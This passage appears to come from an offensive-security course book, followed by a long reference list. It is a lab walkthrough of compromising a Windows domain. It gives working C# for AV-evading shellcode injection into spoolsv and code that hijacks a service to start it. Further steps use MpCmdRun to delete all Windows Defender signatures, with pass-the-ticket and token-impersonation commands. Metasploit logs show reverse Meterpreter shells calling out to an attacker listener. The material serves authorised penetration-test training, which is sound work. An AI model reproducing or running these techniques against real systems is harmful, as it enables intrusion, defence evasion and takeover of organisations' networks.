PS C:\Windows\system32> klist
klist

Current LogonId is 0:0x3e7

Cached Tickets: (1)

#0>     Client: administrator @ EVIL.COM
        Server: cifs/file01 @ EVIL.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize 
        Start Time: 6/26/2020 1:50:39 (local)
        End Time:   6/26/2020 11:50:38 (local)
        Renew Time: 7/3/2020 1:50:38 (local)
        Session Key Type: AES-128-CTS-HMAC-SHA1-96
        Cache Flags: 0 
        Kdc Called: 

Listing 41 - Displaying the requested TGS

We have successfully obtained a service ticket for the CIFS service on
file01 as the administrator domain admin user.

Note that when working through a reverse shell, the generated TGS
is occasionally lost and must be requested again.

To prove that the ticket works, we can simply list the directory of
the c$ share on file01:

PS C:\Windows\system32> ls \\file01\c$
ls \\file01\c$

    Directory: \\file01\c$

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        6/24/2020   1:07 AM                PerfLogs                                                              
d-r---        6/24/2020   7:24 AM                Program Files                                                         
d-----        6/24/2020   7:21 AM                Program Files (x86)                                                   
d-r---        6/24/2020   1:48 AM                Users                                                                 
d-----        6/24/2020   1:22 AM                Windows  

Listing 42 - Performing file listing of c$ share
on file01

In this section, we exploited constrained delegation through the
dumped NTLM hash of web01$ and obtained a TGS for the CIFS service
on file01. In the next section, we'll use this TGS to perform lateral
movement.

Exercises

  1. Download the Rubeus Visual Studio solution from Github, modify
    the .NET version, and compile it.
  2. From the SYSTEM shell, disable AMSI and download Rubeus into
    memory.
  3. Invoke Rubeus to request a TGS for the CIFS service on file01 as
    the administrator user.
  4. Use the requested ticket to verify access to the shares on file01.

Owning the Domain

So far, we have obtained a reverse Meterpreter shell on web01 from
a file upload vulnerability while bypassing detection from Windows
Defender. Once we gained this level of access, we elevated our
privileges to local SYSTEM and disabled the LSA protection to obtain
an NTLM hash for the machine account. Lastly, we exploited constrained
delegation to get a TGS for the CIFS service on file01 in the context
of a domain admin. In the next sections, we'll use this TGS to perform
lateral movement and subsequently compromise the entire domain.

Lateral Movement

It's finally time to perform lateral movement and compromise file01.
Since our attack has exploited constrained delegation to obtain a
service ticket, we must perform lateral movement as pass-the-ticket
and not pass-the-hash.

Since the TGS is often cleared from memory, our ability to use it
can be diminished, especially when we access it through our reverse
Meterpreter shell. This means using a different Metasploit module for
lateral movement will often fail. Additionally, using a module like
PsExec from Metasploit will trigger Windows Defender.

Because of these complications, we'll take a different route and
modify the service binary for an unused service (SensorService) on
file01 to point to a custom application. We'll then start our custom
"service" and obtain a Meterpreter shell.

In a previous module, we demonstrated how to do this without touching
the disk through an in-memory PowerShell shellcode runner. This is
a complex approach and AMSI would make it even trickier. We'll try
a more basic approach instead and use our access to the c$
share on file01 to copy our custom executable from web01.

Before we can begin this attack, there is a complication we must
address. A Windows service expects a service executable, which is
coded in a particular way and must provide some callbacks to the
service manager, otherwise the service manager will time out and the
executable will terminate.

We can generate a service executable with msfvenom but Windows
Defender will flag it. To solve this issue, we can either attempt to
modify the service generated by msfvenom, code our own implementation,
or perform process injection from our normal custom application. We'll
take the latter approach.

If our executable performs process injection into a different SYSTEM
process that is not protected by PPL, our shell will not die when the
service manager terminates the associated process.

On Windows Server 2019 and newer editions of Windows 10, a fair number
of SYSTEM processes execute with PPL enabled by default, meaning there
are not many viable targets. One service process that is not protected
and we can inject into is spoolsv.

To recap, our lateral movement technique will perform three actions.
First, the properties of SensorService are modified and the service is
started. This will trigger a copy operation of the shellcode into the
spoolsv process. Finally, the shellcode executes inside spoolsv.

To do this, we will first create a C# application that performs
process injection into spoolsv. We'll combine the AV bypass technique
that leveraged non-emulated APIs and a Caesar cipher with the process
injection technique we developed previously.

The combined code, without the associated DllImport statements, is
shown in Listing 43.

IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
if (mem == null)
{
    return;
}

byte[] buf = new byte[691] { 0x01, 0x4d, 0x88, ... };

for (int i = 0; i < buf.Length; i++)
{
    buf[i] = (byte)(((uint)buf[i] - 5) & 0xFF);
}

int size = buf.Length;

Process[] expProc = Process.GetProcessesByName("spoolsv");
int pid = expProc[0].Id;

IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);

IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);

IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);

IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

Listing 43 - Code to evade AV and perform process
injection

We will name this application "Inject". Next, we'll compile it,
upload it to web01, and subsequently use our CIFS access to copy it to
file01.

The copy operation is shown in Listing 44.

PS C:\Windows\system32> copy C:\inetpub\wwwroot\upload\inject.exe \\file01\c$
copy C:\inetpub\wwwroot\upload\inject.exe \\file01\c$

PS C:\Windows\system32> ls \\file01\c$
ls \\file01\c$

    Directory: \\file01\c$

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                             
d-----        6/24/2020   1:07 AM                PerfLogs                                                         
d-r---        6/24/2020   7:24 AM                Program Files                                                    
d-----        6/24/2020   7:21 AM                Program Files (x86)                                              
d-r---        6/24/2020   1:48 AM                Users                                                            
d-----        6/24/2020   1:22 AM                Windows                                                          
-a----        6/26/2020   2:41 AM           6144 inject.exe 

Listing 44 - The TGS for CIFS service is used to
allow a copy operation to file01

With the file in place, we can now move to the second application
we used in a previous module with this attack. The code in
this application modifies the SensorService in order to start
inject.exe when the service is started.

The target computer and service name along with the executable
to launch must be specified in the code as shown in Listing
45 where the DllImport statements have been omitted.

String target = "file01";
IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);

string ServiceName = "SensorService";
IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);

string payload = "C:\\inject.exe";
bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);

bResult = StartService(schService, 0, null);

Listing 45 - Code to interact with the service
manager

The compiled file (lat.exe) must be uploaded to web01, after
which we can invoke it on web01 from the SYSTEM shell. This will
leverage the requested TGS we obtained through constrained delegation
and perform a pass-the-ticket attack to access the service control
manager:

PS C:\Windows\system32> c:\inetpub\wwwroot\upload\lat.exe
c:\inetpub\wwwroot\upload\lat.exe
Error in calling StartService: 1053

Listing 46 - Executing the lateral movement code

The 1053 error code indicates that the service manager timed out,
which is expected since we did not supply a valid service executable.

When we switch to our payload listener, we find that it started to
create a new session, then hung and timed out.

msf5 exploit(multi/handler) > exploit

[*] Started HTTPS reverse handler on https://192.168.119.120:443
[*] https://192.168.119.120:443 handling request from 192.168.120.131; (UUID: onb58axe) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 2 opened (192.168.119.120:443 -> 192.168.120.131:49763)

Listing 47 - Meterpreter shell is getting caught by
Windows Defender

If a Meterpreter session initiates and then hangs before the prompt
is presented, the process running the shellcode was terminated early.
This is most often either due to incorrect shellcode architecture or
because antivirus software caught it.

In this type of situation, it's best to figure out what, exactly, is
happening.

We know that our lateral movement attempt performs three actions.
First, the properties of SensorService are modified and the service is
started. Next, inject.exe executes and copies the shellcode
into the spoolsv process. Finally, the shellcode executes inside
spoolsv. A new session was started, which indicates that both the
service modifications and the code injection went undetected. However,
the execution of the Meterpreter shellcode inside spoolsv was stopped.

Using signatures from network packets, Windows Defender and other AV
products sometimes detect network traffic associated with setting up a
staged Meterpreter session.

Windows Defender can perform inspection of network traffic through
the Microsoft Network Realtime Inspection Service (WdNisSvc)[970]
and compare it to signatures.

The shellcode evades detection on disk, but not while executed inside
spoolsv. This issue cannot be solved through encryption or emulation
detection in C#. However, we could attempt to use different payloads
until we discover one that bypasses antivirus.

This type of brute force is tedious and could lead to a problem with
our lateral movement technique. When Windows Defender detects the
Meterpreter executing inside spoolsv, it terminates the process. Since
it's a service, it will restart automatically up to two times; after
that, it will remain disabled.

Additionally, Windows Defender will trigger an alert based on the
SensorService repeatedly interacting with spoolsv. If this happens
multiple times, Windows Defender will disable SensorService and mark
it for deletion. This approach seems doomed to failure.

We could take a different approach and target Windows Defender itself.
The real-time protection provided by Windows Defender runs in the
MsMpEng SYSTEM process, which executes with PPL enabled. Even with
SYSTEM level access, we cannot terminate the process. This approach is
also problematic.

There is, however, a different approach that could work in this
situation.

Windows Defender includes the command-line MpCmdRun[971]
tool that we can use to initiate scans and perform signature updates.
The documentation reveals that we can also use it to remove signature
definitions with -RemoveDefinitions All, which was designed
to prevent issues with failed updates.

We can abuse this by first setting the service executable of
SensorService to "MpCmdRun" with the options to remove all signatures
and start it. Once it times out, we update it again to "Inject". This
time, Windows Defender is stripped of all signatures and will not flag
our network traffic.

This technique is unique to Windows Defender but other antivirus
products contain similar functionality that can be abused.

A truncated portion of the updated code for our lat.exe
lateral movement tool is shown in Listing 48.

...
string signature = "\"C:\\Program Files\\Windows Defender\\MpCmdRun.exe\" -RemoveDefinitions -All";
string payload = "C:\\inject.exe";

bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, signature, null, null, null, null, null, null);
bResult = StartService(schService, 0, null);

bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);
bResult = StartService(schService, 0, null);
...

Listing 48 - AV signatures are removed before
starting Meterpreter

Now we must upload the new version of lat.exe to web01 and
ensure that inject.exe is still present on file01.

Once everything is in order and a listener has started, we'll launch
lat.exe.

msf5 exploit(multi/handler) > exploit

[*] Started HTTPS reverse handler on https://192.168.119.120:443
[*] https://192.168.119.120:443 handling request from 192.168.120.131; (UUID: iu2gl81c) Staging x64 payload (207506 bytes) ...
[*] Meterpreter session 3 opened (192.168.119.120:443 -> 192.168.120.131:49769)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > sysinfo
Computer        : FILE01
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : EVIL
Logged On Users : 7
Meterpreter     : x64/windows

Listing 49 - Obtaining a reverse Meterpreter shell
on file01

The output shows that we have received a new SYSTEM-context reverse
Meterpreter shell. We have performed lateral movement from web01 to
file01 and obtained a SYSTEM-context Meterpreter. In the process, we
evaded antivirus detection by removing its signatures. Very Nice!

Typically, Windows Defender would periodically perform signature
updates so if we need prolonged access through a Meterpreter shell, we
may need to routinely purge the definitions with a script.

From here, we can perform more post-exploitation, which will hopefully
lead us to additional compromises in the domain.

Exercises

  1. Combine the code required to perform process injection and bypass
    AV detection.
  2. Modify the lateral movement code and transfer all the required
    files to the appropriate locations.
  3. Attempt lateral movement with a Meterpreter payload directly and
    determine if it was caught by AV.
  4. If your Meterpreter session timed out, adapt your code to remove
    the AV definitions.
  5. Obtain a Meterpreter shell on file01 without any Windows Defender
    flags.

Becoming Domain Admin

We have now managed to pivot onto file01 and obtain a reverse
Meterpreter shell in SYSTEM context. At this point, we must perform
some additional post-exploitation enumeration to figure out if there
is a way to continue our attack from this machine.

Since this is a new machine, we'll first want to determine which
security solutions are in place. In most environments, solutions and
settings are centrally managed, so we expect this server environment
to somewhat mirror web01.

Our enumeration would indeed reveal Windows Defender, AppLocker, and
LSA protection installed on file01. However, when we list all running
processes with ps, we find something interesting: several
processes are running in the context of a user called paul.

meterpreter > ps

Process List
============

 PID   PPID  Name                       Arch  Session  User                          Path
 ---   ----  ----                       ----  -------  ----                          ----
 0     0     [System Process]                                                        
 4     0     System                     x64   0                                      
 8     564   svchost.exe                x64   0        NT AUTHORITY\SYSTEM           
 68    4     Registry                   x64   0                                      
 252   4     smss.exe                   x64   0                                      
...
 884   496   dwm.exe                    x64   1        Window Manager\DWM-1          C:\Windows\System32\dwm.exe
 902   3852  ServerManager.exe          x64   1        EVIL\paul                     C:\Windows\System32\ServerManager.exe
 932   632   explorer.exe               x64   1        EVIL\paul                     C:\Windows\explorer.exe
 956   564   svchost.exe                x64   0        NT AUTHORITY\NETWORK SERVICE  
 968   564   svchost.exe                x64   0        NT AUTHORITY\SYSTEM
...

Listing 50 - Listing all processes reveals the user paul

This seems very promising, since our SYSTEM integrity access to file01
will allow us to easily hijack any of this user's sessions.

We can use the simple native net user command to determine
this user's access level.

meterpreter > shell
Process 5328 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1282]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> net user paul /domain
net user paul /domain
The request will be processed at a domain controller for domain evil.com.

User name                    paul
Full Name                    Paul
...
Local Group Memberships      
Global Group memberships     *Domain Admins        *Domain Users         
The command completed successfully.

Listing 51 - Enumerating group memberships for
paul

We find that paul is a member of the Domain Admins group, which
means our complete compromise of evil.com is close at hand.

One way to gain access to the enticing domain administrator rights
would be to dump the NTLM hash of paul from LSASS, but that means
disabling LSA protection again.

There are easier ways. One option is to simply migrate into a process
owned by paul, but if we land in a medium-integrity process, we will
have to perform a UAC bypass to regain high-privileged access and it
will place us under the effect of AppLocker policies.

Alternatively, we could locate access tokens for paul in memory and
impersonate them. This will allow us to perform actions in the context
of paul while still enjoying the privileges of a SYSTEM shell. We'll
take this approach.

The incognito Meterpreter extension is ideal for this and as
SYSTEM, we can view any tokens on the machine as shown in Listing
52.

meterpreter > load incognito
Loading extension incognito...Success.

meterpreter > list_tokens -u

Delegation Tokens Available
========================================
EVIL\paul
Font Driver Host\UMFD-0
Font Driver Host\UMFD-1
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
Window Manager\DWM-1

Impersonation Tokens Available
========================================
No tokens available

Listing 52 - Listing access tokens on file01

Since we can impersonate paul, we have domain administrator access
to the infrastructure. At this stage, the penetration test often
becomes a lot easier, depending on how secure the configurations are.

If we want to thoroughly compromise the domain or need to attack
subsequent trusted domains, we can obtain access to the krbtgt
NTLM hash through an attack like DCSync[911-1] or simply perform
lateral movement to the domain controller.

For purposes of demonstration in this small environment, we are
going to opt for the latter approach and reuse the attack through the
service manager to obtain a reverse shell from dc02.

Before we impersonate the token, we'll update the lateral movement
code to change the target to dc02. We call it lat2.exe and
upload it to file01.

meterpreter > upload /home/kali/lat2.exe c:\\lat2.exe
[*] uploading  : /home/kali/lat2.exe -> c:\lat2.exe
[*] Uploaded 5.50 KiB of 5.50 KiB (100.0%): /home/kali/lat2.exe -> c:\lat2.exe
[*] uploaded   : /home/kali/lat2.exe -> c:\lat2.exe

meterpreter > background
[*] Backgrounding session 3...

msf5 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.

[*] Started HTTPS reverse handler on https://192.168.119.120:443

msf5 exploit(multi/handler) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > impersonate_token EVIL\\paul
[+] Delegation token available
[+] Successfully impersonated user EVIL\paul

Listing 53 - Simple reverse shell from dc02

In addition, we'll need to background the current Meterpreter
session, start a listener as a job, then interact with the Meterpreter
session and impersonate paul.

To begin, we'll copy Inject.exe from file01 to dc02 and run
lat2.exe as shown in Listing 53.

meterpreter > shell
Process 772 created.
Channel 2 created.
Microsoft Windows [Version 10.0.17763.1282]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> copy c:\inject.exe \\dc02\c$
copy c:\inject.exe \\dc02\c$
        1 file(s) copied.

C:\Windows\system32> c:\lat2.exe
c:\lat2.exe
Error in calling StartService: 1053
Error in calling StartService: 1053

C:\Windows\system32>
[*] https://192.168.119.120:443 handling request from 192.168.120.130; (UUID: kag4tbwv) Staging x64 payload (207502 bytes) ...
[*] Meterpreter session 4 opened (192.168.119.120:443 -> 192.168.120.130:53758)

Listing 54 - Lateral movement to dc02

We received a new Meterpreter session.

C:\Windows\system32> exit
exit

meterpreter > background
[*] Backgrounding session 3...

msf5 exploit(multi/handler) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > sysinfo
Computer        : DC02
...

Listing 55 - Interacting with SYSTEM shell on dc02

Once we interact with the session, we discover we now have SYSTEM
integrity access to dc02. Excellent!

We have now fully compromised the evil.com domain and can extract
the NTLM hashes of all domain users including krbtgt to retain
administrative access to the domain. In a larger environment, we could
use this as a base to launch further attacks.

Exercises

  1. Use the Meterpreter shell to list all access tokens and impersonate
    the token belonging to the paul user.
  2. While impersonating paul, perform lateral movement to dc02 and
    obtain a reverse Meterpreter shell.

Extra Mile

In this module, we performed the entire attack from Metasploit and
primarily through the Meterpreter shell. Depending on the chosen tools
and attack techniques, another framework may prove more favorable.

Evading security mitigations such as antivirus may also be easier
with another framework due to a lack of signatures and behavioral
detection against it.

Repeat the attack shown in this module with a different framework like
PowerShell Empire or Covenant.

Wrapping Up

This module showcased attack paths against a small Active Directory
infrastructure that had multiple security measures in place.

We demonstrated chaining techniques as well as the complications of
bypassing antivirus and other protections. A penetration test against
a hardened infrastructure is not trivial and if multiple attack paths
are available, we will often choose the path of least resistance.

In addition, we bypassed unique obstacles instigated by our initial
service account compromise which lacked an interactive logon session.

Note that our attack left behind a number of applications,
drivers, and data. In a real penetration test against a production
system, we would have carefully tracked these and removed them before
the end of the engagement.

In the end, we compromised evil.com without relying on any
vulnerabilities except for the flaw in the initial web application.

Trying Harder: The Labs

Following the successful completion of the course material, you can
access a number of challenge labs in the control panel. These labs
consist of a number of interconnected machines and will require the
mastery of several techniques taught throughout this course to fully
compromise.

Real Life Simulations

Each challenge lab is designed as a self-contained black-box
penetration test network that requires enumeration, a successful
initial compromise, and a pivot to other machines within the lab. The
end goal is the compromise of the entire challenge lab network.

Each machine in a given challenge lab contains a proof.txt
file with a MD5 hash, which can be found in either the root folder
of Linux machines or the Administrators desktop of Windows machines.
For machines that require privilege escalation, a local.txt
is also present in the appropriate low-privileged users folder.

Similar to the deployment design of module VMs in this course, the
challenge labs are not shared with other users. Please note that
a revert may take some time given the number of machines and their
interdependencies.

To aid in research and development of custom attack vectors, a
development machine (dev) is available for some of those tasks.

Take the time to work on these challenges and keep in mind that while
different frameworks may make various steps simpler, remember the many
benefits of using custom code as we have demonstrated throughout this
course.

Wrapping Up

If you've taken the time to understand the course material presented
in the course book and associated videos, and have tackled all the
exercises, you'll enjoy the lab challenges.

If you're having trouble, step back and take on a new perspective.
It's easy to get so fixated on a single problem and lose sight of
the fact that there may be a simpler solution waiting down a different
path.

Take good notes and review them often, searching for alternate
paths that might reveal the way forward. When all else fails, do not
hesitate to reach out to the student administrators.

For information related to the OSEP certification exam please refer
back to the introductory module or review our exam guide.[972]

Finally, remember that you often have all the knowledge you need to
tackle the problem in front of you. Don't give up, and remember the
"Try Harder" discipline!


  1. (Offensive Security, 2021), https://www.offensive-security.com/pwk-oscp/↩︎

  2. (Offensive Security, 2021), https://forums.offensive-security.com↩︎

  3. (Offensive Security, 2021), https://support.offensive-security.com↩︎

  4. (Offensive Security, 2021), https://www.kali.org/downloads/↩︎

  5. (Offensive Security, 2021), https://help.offensive-security.com/hc/en-us/articles/360050293792-OSEP-Exam-Guide↩︎

  6. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Compiled_language#:~:text=A%20compiled%20language%20is%20a,%2Druntime%20translation%20takes%20place)↩︎

  7. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Interpreted_language#:~:text=An%20interpreted%20language%20is%20a,program%20into%20machine%2Dlanguage%20instructions.↩︎

  8. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Object-oriented_programming↩︎

  9. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Opcode↩︎

  10. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Assembly_language↩︎

  11. (Wikipedia, 2020), https://en.wikipedia.org/wiki/X86↩︎

  12. (Wikipedia, 2020), https://en.wikipedia.org/wiki/ARM_architecture↩︎

  13. (Wikipedia, 2020), https://en.wikipedia.org/wiki/C_(programming_language)↩︎

  14. (Wikipedia, 2020), https://en.wikipedia.org/wiki/C%2B%2B↩︎

  15. (Microsoft, 2018),https://docs.microsoft.com/en-us/cpp/assembler/inline/inline-assembler?view=vs-2019↩︎

  16. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Managed_code↩︎

  17. (Wikipedia, 2019), https://en.wikipedia.org/wiki/Java_(programming_language)↩︎↩︎

  18. (Wikipedia, 2020), https://en.wikipedia.org/wiki/C_Sharp_(programming_language)↩︎

  19. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Bytecode↩︎

  20. (Microsoft, 2019), https://docs.microsoft.com/en-us/dotnet/standard/clr↩︎

  21. (Wikipedia, 2020), https://en.wikipedia.org/wiki/.NET_Framework↩︎

  22. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Just-in-time_compilation↩︎

  23. (Wikipedia, 2020), https://en.wikipedia.org/wiki/.NET_Core↩︎

  24. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Class_(computer_programming)↩︎

  25. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Method_(computer_programming)↩︎

  26. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Instance_(computer_science)↩︎

  27. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Constructor_(object-oriented_programming)↩︎

  28. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Access_modifiers↩︎

  29. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/winprog64/wow64-implementation-details↩︎

  30. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Windows_API↩︎

  31. (Microsoft, 2018), https://docs.microsoft.com/en-gb/windows/win32/api/winbase/nf-winbase-getusernamea↩︎

  32. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Function_prototype↩︎

  33. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/winprog/windows-data-types↩︎

  34. (Wikipedia, 2020), https://en.wikipedia.org/wiki/ASCII↩︎

  35. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Unicode↩︎

  36. (Wikipedia, 2020), https://en.wikipedia.org/wiki/UTF-16↩︎

  37. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Windows_Registry↩︎

  38. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-hives↩︎

  39. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry↩︎

  40. (Wikipedia, 2019), https://en.wikipedia.org/wiki/Social_engineering_(security)↩︎

  41. (Wikipedia, 2019), https://en.wikipedia.org/wiki/Phishing↩︎

  42. (Wikipedia, 2019), https://en.wikipedia.org/wiki/Trojan_horse_(computing)↩︎

  43. (Wikipedia, 2019), https://en.wikipedia.org/wiki/Dropper_(malware)↩︎

  44. (FireEye, 2013), https://www.fireeye.com/blog/threat-research/2013/04/malware-callbacks.html↩︎

  45. (Malware Patrol, 2018), https://www.malwarepatrol.net/command-control-servers-c2s-fundamentals/↩︎

  46. (Offensive Security, 2019), https://www.offensive-security.com/metasploit-unleashed/msfvenom/↩︎

  47. (Offensive Security, 2019), https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/↩︎

  48. (Outflank, 2018), https://outflank.nl/blog/2018/08/14/html-smuggling-explained/↩︎

  49. (w3school, 2019), https://www.w3schools.com/html/html5_intro.asp↩︎

  50. (w3school, 2019), https://www.w3schools.com/tags/att_a_download.asp↩︎

  51. (Mozilla, 2019), https://developer.mozilla.org/en-US/docs/Web/API/Blob↩︎

  52. (Mozilla, 2019), https://developer.mozilla.org/en-US/docs/Web/API/URL/createObjectURL↩︎

  53. (Mozilla, 2019), https://developer.mozilla.org/en-US/docs/Web/API/Document/createElement↩︎

  54. (w3school, 2019),https://www.w3schools.com/jsref/met_node_appendchild.asp↩︎

  55. (w3school, 2019), https://www.w3schools.com/jsref/prop_style_display.asp↩︎

  56. (Mozilla, 2019), https://developer.mozilla.org/en-US/docs/Web/API/URL/href↩︎

  57. (Mozilla, 2019), https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/click↩︎

  58. (Wikipedia, 2019), https://en.wikipedia.org/wiki/Base64↩︎

  59. (Microsoft, 2019), https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-smartscreen/windows-defender-smartscreen-overview↩︎

  60. (Microsoft, 2017), https://docs.microsoft.com/en-us/previous-versions/hh772331(v=vs.85)↩︎

  61. ↩︎
  62. (Cisco, 2019), https://www.cisco.com/c/en/us/products/security/security-reports.html↩︎

  63. (Microsoft, 2019), https://docs.microsoft.com/en-us/office/vba/library-reference/concepts/getting-started-with-vba-in-office↩︎

  64. (Free Excel Help, 2019), https://www.excel-easy.com/vba/function-sub.html↩︎

  65. (Microsoft, 2018),https://docs.microsoft.com/en-us/dotnet/visual-basic/language-reference/statements/dim-statement↩︎

  66. (Microsoft, 2015), https://docs.microsoft.com/en-us/dotnet/visual-basic/language-reference/data-types/↩︎

  67. (Microsoft, 2018), https://docs.microsoft.com/en-us/office/vba/language/concepts/getting-started/using-ifthenelse-statements↩︎

  68. (Microsoft, 2018), https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/fornext-statement↩︎

  69. (Microsoft, 2019), https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/msgbox-function↩︎

  70. (Microsoft, 2018), https://docs.microsoft.com/en-us/office/vba/api/word.document.open↩︎

  71. (Microsoft, 2017), https://docs.microsoft.com/en-us/office/vba/word/concepts/customizing-word/auto-macros↩︎

  72. (Microsoft, 2019), https://docs.microsoft.com/en-us/deployoffice/compat/office-file-format-reference↩︎

  73. (Microsoft, 2018), https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/shell-function↩︎

  74. (Microsoft, 2019), https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer↩︎

  75. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Windows_Script_Host↩︎↩︎

  76. (SS64, 2019), https://ss64.com/vb/createobject.html↩︎

  77. (SS64, 2019) https://ss64.com/vb/run.html↩︎

  78. (Automate Excel, 2019), https://www.automateexcel.com/vba/auto-open-macro/↩︎

  79. (SS64, 2019), https://ss64.com/ps/syntax-compare.html↩︎

  80. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient?view=netframework-4.8↩︎

  81. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadfile?view=netframework-4.8↩︎

  82. (Evilmog, 2017), https://github.com/evilmog/evilmog/wiki/DNS-Download-Cradle↩︎

  83. (Wikipedia, 2014), https://en.wikipedia.org/wiki/TXT_record↩︎

  84. (Microsoft, 2017), https://docs.microsoft.com/en-us/office/vba/api/word.document.path↩︎

  85. (Microsoft, 2018), https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/doloop-statement↩︎

  86. (Microsoft, 2018), https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/now-function↩︎

  87. (Microsoft, 2018), https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/dateadd-function↩︎

  88. (Microsoft, 2018), https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/doevents-function↩︎

  89. (Threat Post, 2019), https://threatpost.com/microsoft-word-resume-phish-malware/147733/↩︎

  90. (Bank Info Security, 2019), https://www.bankinfosecurity.com/new-ursnif-variant-spreads-through-infected-word-documents-a-12898↩︎

  91. (Wikipedia, 2019), https://en.wikipedia.org/wiki/General_Data_Protection_Regulation↩︎

  92. (Microsoft, 2017), https://docs.microsoft.com/en-us/office/vba/api/word.document.content↩︎

  93. (Microsoft, 2017), https://docs.microsoft.com/en-us/office/vba/api/word.document.range↩︎

  94. (Microsoft, 2017), https://docs.microsoft.com/en-us/office/vba/api/word.range.select↩︎

  95. (Microsoft, 2017), https://docs.microsoft.com/en-us/office/vba/api/word.selection.delete↩︎

  96. (Microsoft, 2017), https://docs.microsoft.com/en-us/office/vba/api/word.document.attachedtemplate↩︎

  97. (Microsoft, 2017), https://docs.microsoft.com/en-us/office/vba/api/word.autotextentries↩︎

  98. (Microsoft, 2017), https://docs.microsoft.com/en-us/office/vba/api/word.autotextentry.insert↩︎

  99. (Microsoft, 2015), https://docs.microsoft.com/en-us/dotnet/visual-basic/programming-guide/com-interop/walkthrough-calling-windows-apis↩︎

  100. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/t-sql/language-elements/declare-local-variable-transact-sql?view=sql-server-ver15↩︎↩︎

  101. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getusernamea↩︎

  102. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/winprog/windows-data-types↩︎

  103. ↩︎
  104. (Microsoft, 2015), https://docs.microsoft.com/en-us/dotnet/visual-basic/language-reference/modifiers/byval↩︎

  105. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.type.makebyreftype?view=netframework-4.8↩︎↩︎

  106. (Microsoft, 2019), https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/instr-function↩︎

  107. (Microsoft, 2018), https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/left-function↩︎↩︎

  108. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox↩︎

  109. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/memory/data-execution-prevention↩︎

  110. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc↩︎

  111. (Microsoft, 2018), https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/ubound-function↩︎↩︎

  112. (Microsoft, 2019), https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex↩︎

  113. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/devnotes/rtlmovememory↩︎

